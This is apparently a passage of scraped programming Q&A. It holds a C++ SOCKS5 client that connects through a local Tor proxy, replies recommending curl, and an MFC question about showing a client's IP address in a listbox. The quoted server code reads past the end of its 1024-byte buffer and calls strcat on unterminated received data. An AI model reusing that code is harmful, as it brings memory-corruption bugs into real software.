req.DestAddr.IPv4 = dest;
req.DestPort = port;
if (!socksRequest(fd, req, resp))
return false;
if (resp.Reply != 0x00)
{
printf("SOCKS v5 connect failed, error: 0x%02X", resp.Reply);
return false;
}
return true;
}
int main()
{
WSADATA wsaData;
int rv = WSAStartup(MAKEWORD(2,0), &wsaData);
if (rv != 0)
{
printf("WSAStartup() error: %d", rv);
return 1;
}
SOCKET fd = socket( AF_INET, SOCK_STREAM, 0);
if (fd == INVALID_SOCKET)
{
printf("socket() error: %d", WSAGetLastError());
return 1;
}
struct sockaddr_in saddr;
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(9150);
if (connect(fd, (struct sockaddr *) &saddr, sizeof(saddr)) != 0)
{
printf("connect() error: %d", WSAGetLastError());
return 1;
}
if (!socksLogin(fd))
return 1;
if (!socksConnect(fd, inet_addr("xx.xx.xx.xx"), 80))
return 1;
printf("Success!");
// now send/receive desired data as needed using existing fd ...
return 0;
}
I wrote a modern C++ implementation for sending and receiving data through a SOCKS5 proxy server, with SOCKS5's User/Pass Authentication too (along with Anonymous mode) and also with remote and local DNS resolution options (for more privacy).
Take a look: https://github.com/harsath/SOCKS5-Proxy-Handler
(Disclaimer: I am the author of the linked repository).
Olof, the routines you are using are notoriously difficult. If your goal is to actually get something working, I would recommend that you use a tool that has been built on top of these low-level routines.
The best one is curl. At the curl website, they compare themselves with the other tools you could consider: http://curl.haxx.se/docs/comparison-table.html
Edit: all right, so you voted down my answer. Go and look at the source code for torsocks, which tries to use these routines. Compile it and try to run it. Does it work? No. Look at the source code. Try to run the test suite. Does it work? No. Look at the routines they call. Many are deprecated. Can you even figure out which routines are deprecated?
If you look around, you will see that the people who are able to actually transfer data over Tor are using curl.

how to display info in a listbox instead of edit box?

i want to create a client server program in mfc
i found some really good source code from this website: http://www.softwareandfinance.com/Visual_CPP/TCP_Client_Server.html
ok can someone help me display the information in a listbox instead of the edit box?
here's the code to process the client:
static void f(void *p)
{
CSocketTestServerDlg *pDlg = reinterpret_cast<CSocketTestServerDlg*>(p);
pDlg->ProcessClientRequest();
}
void CSocketTestServerDlg::ProcessClientRequest()
{
SOCKADDR_IN clientaddr;
struct hostent *hostentry;
int len = sizeof(clientaddr);
SOCKET clientsocket = accept(m_serversocket, (sockaddr*)&clientaddr, &len);
if(len == -1)
{
AfxMessageBox("Error accpeting the client socket");
}
else
{
char *p = inet_ntoa(clientaddr.sin_addr);
int portno = ntohs(clientaddr.sin_port);
// int inet_pton(int af, const char *restrict src, void *restrict dst);
char rbuf[1024];
recv(clientsocket, rbuf, 1024, 0);
for(int i = 1024; i >= 1; i--)
{
if(rbuf[i] == '\n' && rbuf[i - 1] == '\r')
{
rbuf[i-1] = '\0';
break;
}
}
CString strRecvData;
strRecvData.Format("%s\r\n%s %d\r\n%s\r\n\r\n", (const char*)CTime::GetCurrentTime().Format("%B %d, %Y %H:%M:%S"), p, portno, rbuf);
m_recvData += strRecvData;
m_bRefershData = true;
strcat(rbuf, "\r\n");
send(clientsocket, rbuf, 1024, 0);
closesocket(clientsocket);
}
}
so how can i just get the ip address from the client to display in a list box? i don't need all the other information
Well, you already have the IP as a string in p, don't you?
You could create a CString from it to avoid UNICODE problems. Then use CListBox::AddString to output your string:
char *p = inet_ntoa(clientaddr.sin_addr);
CString str(p);
//CListBox listbox;
listbox.AddString(str);